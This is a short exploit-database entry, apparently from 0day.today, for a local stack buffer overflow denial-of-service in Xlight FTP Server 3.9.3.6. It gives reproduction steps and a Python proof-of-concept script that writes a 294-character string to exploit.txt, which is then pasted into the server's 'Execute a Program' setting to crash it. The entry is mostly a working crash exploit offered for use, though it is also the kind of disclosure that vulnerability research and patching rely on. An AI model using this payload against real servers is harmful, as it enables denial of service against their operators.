Xlight FTP Server 3.9.3.6 - Stack Buffer Overflow Exploit

# Exploit Title: Xlight FTP Server 3.9.3.6 - 'Stack Buffer Overflow' (DOS)
# Discovered by: Yehia Elghaly
# Vendor Homepage: https://www.xlightftpd.com/
# Software Link : https://www.xlightftpd.com/download/setup.exe
# Tested Version: 3.9.3.6
# Vulnerability Type: Buffer Overflow Local
# Tested on OS: Windows XP Professional SP3 - Windows 11 x64
 
# Description: Xlight FTP Server 3.9.3.6 'Execute Program' Buffer Overflow (PoC)
 
# Steps to reproduce:
# 1. - Download and Xlight FTP Server
# 2. - Run the python script and it will create exploit.txt file.
# 3. - Open Xlight FTP Server 3.9.3.6
# 4. - "File and Directory - Modify Virtual Server Configuration - Advanced - Misc- Setup
# 6. - Execute a Program after use logged in-  Paste the characters
# 7  - Crashed
 
#!/usr/bin/env python3
 
exploit = 'A' * 294
 
try:
    with open("exploit.txt","w") as file:
        file.write(exploit)
    print("POC is created")
except:
    print("POC not created")
 
#  0day.today [2023-08-12]  #